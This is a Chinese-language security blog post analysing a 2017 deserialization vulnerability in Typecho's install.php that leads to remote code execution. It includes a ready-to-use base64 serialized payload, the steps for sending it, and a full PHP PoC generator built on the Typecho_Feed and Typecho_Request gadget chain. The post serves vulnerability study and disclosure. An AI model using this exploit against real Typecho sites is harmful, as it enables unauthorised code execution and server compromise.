前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >typecho前台getshell漏洞分析

typecho前台getshell漏洞分析

作者头像
LoRexxar
发布2023-02-21 18:57:41
4450
发布2023-02-21 18:57:41
举报
文章被收录于专栏:LoRexxar's BlogLoRexxar's Blog

漏洞是鹿师傅挖的,但是被无意中爆了出来…心疼鹿师傅…

0x01 简述

Typecho1是一个简单,轻巧的博客程序。基于PHP,使用多种数据库(Mysql,PostgreSQL,SQLite)储存数据。在GPL Version 2许可证下发行,是一个开源的程序2,目前使用SVN来做版本管理。

2017年10月13日,知道创宇漏洞情报系统监测到typecho爆出前台代码执行漏洞3,知道创宇404团队研究人员成功复现了该漏洞。

经过分析确认,该漏洞可以无限制执行代码,通过这种方式可以导致getshell。

0x02 复现

打开安装好的typecho

image.png-49.7kB
image.png-49.7kB

生成对应的payload

image.png-46.6kB
image.png-46.6kB
代码语言:javascript
复制
YTo3OntzOjQ6Imhvc3QiO3M6OToibG9jYWxob3N0IjtzOjQ6InVzZXIiO3M6NjoieHh4eHh4IjtzOjc6ImNoYXJzZXQiO3M6NDoidXRmOCI7czo0OiJwb3J0IjtzOjQ6IjMzMDYiO3M6ODoiZGF0YWJhc2UiO3M6NzoidHlwZWNobyI7czo3OiJhZGFwdGVyIjtPOjEyOiJUeXBlY2hvX0ZlZWQiOjM6e3M6MTk6IgBUeXBlY2hvX0ZlZWQAX3R5cGUiO3M6NzoiUlNTIDIuMCI7czoyMDoiAFR5cGVjaG9fRmVlZABfaXRlbXMiO2E6MTp7aTowO2E6NTp7czo0OiJsaW5rIjtzOjE6IjEiO3M6NToidGl0bGUiO3M6MToiMiI7czo0OiJkYXRlIjtpOjE1MDc3MjAyOTg7czo2OiJhdXRob3IiO086MTU6IlR5cGVjaG9fUmVxdWVzdCI6Mjp7czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfcGFyYW1zIjthOjE6e3M6MTA6InNjcmVlbk5hbWUiO2k6LTE7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo3OiJwaHBpbmZvIjt9fXM6ODoiY2F0ZWdvcnkiO2E6MTp7aTowO086MTU6IlR5cGVjaG9fUmVxdWVzdCI6Mjp7czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfcGFyYW1zIjthOjE6e3M6MTA6InNjcmVlbk5hbWUiO2k6LTE7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo3OiJwaHBpbmZvIjt9fX19fXM6MTA6ImRhdGVGb3JtYXQiO047fXM6NjoicHJlZml4IjtzOjg6InR5cGVjaG9fIjt9

设置相应的cookie并发送请求向

代码语言:javascript
复制
http://127.0.0.1/install.php?finish
image.png-47.1kB
image.png-47.1kB

成功执行phpinfo

0x03 漏洞分析

漏洞的入口点在install.php,进入install.php首先经过两个判断

代码语言:javascript
复制
//判断是否已经安装
if (!isset($_GET['finish']) && file_exists(__TYPECHO_ROOT_DIR__ . '/config.inc.php') && empty($_SESSION['typecho'])) {
    exit;
}

// 挡掉可能的跨站请求
if (!empty($_GET) || !empty($_POST)) {
    if (empty($_SERVER['HTTP_REFERER'])) {
        exit;
    }

    $parts = parse_url($_SERVER['HTTP_REFERER']);
	if (!empty($parts['port'])) {
        $parts['host'] = "{$parts['host']}:{$parts['port']}";
    }

    if (empty($parts['host']) || $_SERVER['HTTP_HOST'] != $parts['host']) {
        exit;
    }
}

只要传入GET参数finish,并设置referer为站内url即可。

跟入代码,找到漏洞点入口点,install.php 232行到237行

image.png-116.2kB
image.png-116.2kB

看起来比较清楚,一个比较明显的反序列化漏洞

问题在于如何利用,反序列化能够利用的点必须要有相应的魔术方法配合。其中比较关键的只有几个。

代码语言:javascript
复制
__destruct()
__wakeup()
__toString()

其中__destruct()是在对象被销毁的时候自动调用,__Wakeup在反序列化的时候自动调用,__toString()是在调用对象的时候自动调用。

这里如果构造的反序列化是一个数组,其中adapter设置为某个类,就可以触发相应类的__toString方法

image.png-113.6kB
image.png-113.6kB

寻找所有的toString方法,我暂时只找到一个可以利用的的类方法。

/var/Typecho/Feed.php 文件223行

image.png-223.9kB
image.png-223.9kB

顺着分析tostring函数

290行 调用了$item['author']->screenName,这是一个当前类的私有变量

image.png-334kB
image.png-334kB

358行 同样调用了同样的变量,这里应该也是可以利用的

image.png-58.5kB
image.png-58.5kB

这里要提到一个特殊的魔术方法__get__get会在读取不可访问的属性的值的时候调用,我们可以通过设置item来调用某个位置的__get魔术方法,让我们接着寻找。

/var/Typecho/Request.php 第269行应该是唯一一个可利用的__get方法.

image.png-76.9kB
image.png-76.9kB

跟入get函数

image.png-230.4kB
image.png-230.4kB

最后进入159行 applyFilter函数

image.png-103.6kB
image.png-103.6kB

我们找到了call_user_func函数,回溯整个利用链

我们可以通过设置item['author']来控制Typecho_Request类中的私有变量,这样类中的_filter_params['screenName']都可控,call_user_func函数变量可控,任意代码执行。

但是当我们按照上面的所有流程构造poc之后,发请求到服务器,却会返回500.

回顾一下代码

在install.php的开始,调用了ob_start()

在php.net上关于ob_start的解释是这样的。

image.png-102.5kB
image.png-102.5kB

因为我们上面对象注入的代码触发了原本的exception,导致ob_end_clean()执行,原本的输出会在缓冲区被清理。

我们必须想一个办法强制退出,使得代码不会执行到exception,这样原本的缓冲区数据就会被输出出来。

这里有两个办法。 1、因为call_user_func函数处是一个循环,我们可以通过设置数组来控制第二次执行的函数,然后找一处exit跳出,缓冲区中的数据就会被输出出来。 2、第二个办法就是在命令执行之后,想办法造成一个报错,语句报错就会强制停止,这样缓冲区中的数据仍然会被输出出来。

解决了这个问题,整个利用ROP链就成立了

0x04 poc

代码语言:javascript
复制
<?php
class Typecho_Request
{
    private $_params = array();
    private $_filter = array();

    public function __construct()
    {
        // $this->_params['screenName'] = 'whoami';
        $this->_params['screenName'] = -1;
        $this->_filter[0] = 'phpinfo';
    }
}

class Typecho_Feed
{
    const RSS2 = 'RSS 2.0';
    /** 定义ATOM 1.0类型 */
    const ATOM1 = 'ATOM 1.0';
    /** 定义RSS时间格式 */
    const DATE_RFC822 = 'r';
    /** 定义ATOM时间格式 */
    const DATE_W3CDTF = 'c';
    /** 定义行结束符 */
    const EOL = "\n";
    private $_type;
    private $_items = array();
    public $dateFormat;

    public function __construct()
    {
        $this->_type = self::RSS2;
        $item['link'] = '1';
        $item['title'] = '2';
        $item['date'] = 1507720298;
        $item['author'] = new Typecho_Request();
        $item['category'] = array(new Typecho_Request());
        
        $this->_items[0] = $item;
    }
}

$x = new Typecho_Feed();
$a = array(
    'host' => 'localhost',
    'user' => 'xxxxxx',
    'charset' => 'utf8',
    'port' => '3306',
    'database' => 'typecho',
    'adapter' => $x,
    'prefix' => 'typecho_'
);
echo urlencode(base64_encode(serialize($a)));
?>
本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2017/10/26,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 0x01 简述
  • 0x02 复现
  • 0x03 漏洞分析
  • 0x04 poc
相关产品与服务
文件存储
文件存储(Cloud File Storage,CFS)为您提供安全可靠、可扩展的共享文件存储服务。文件存储可与腾讯云服务器、容器服务、批量计算等服务搭配使用,为多个计算节点提供容量和性能可弹性扩展的高性能共享存储。腾讯云文件存储的管理界面简单、易使用,可实现对现有应用的无缝集成;按实际用量付费,为您节约成本,简化 IT 运维工作。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档